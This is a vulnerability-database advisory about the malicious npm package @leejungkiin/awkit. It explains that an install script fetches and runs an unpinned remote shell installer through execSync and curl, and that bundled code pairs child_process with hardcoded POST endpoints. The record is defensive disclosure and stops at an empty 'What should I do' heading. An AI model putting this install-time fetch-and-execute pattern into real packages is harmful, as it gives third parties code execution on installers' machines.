# MAL-2026-13427: Malicious code in @leejungkiin/awkit (npm)


- **Type:** Malicious package

## What is MAL-2026-13427?

MAL-2026-13427 is a malicious package in @leejungkiin/awkit, published on 6 Aug 2026. 

### Official description

The package ships scripts/dependency-manager.js which, when run as part of the install lifecycle, invokes execSync('curl -fsSL https://raw.githubusercontent.com/rtk-ai/rtk/refs/heads/master/install.sh...') to fetch and execute an installer script from the rtk-ai/rtk repository on a mutable master branch. The fetched shell script is not pinned to a commit or hash and is controlled by a third-party GitHub account whose relationship to the @leejungkiin scope is not established. The same script also contacts https://www.rtk-ai.app and reads platform/home-directory information (os.homedir(), process.platform) during its operation. Because npm executes lifecycle scripts on install, this results in remote code execution from an unpinned, third-party-controlled source on the installer's machine, and the fetched code has full shell privileges to modify the environment, install further binaries, or exfiltrate host data. Additional bundled code (bin/awk.js, scripts/model-manager.js) combines child_process usage with hardcoded HTTP POST/fetch endpoints in a minified bundle.

## What should I do about MAL-2026-13427?
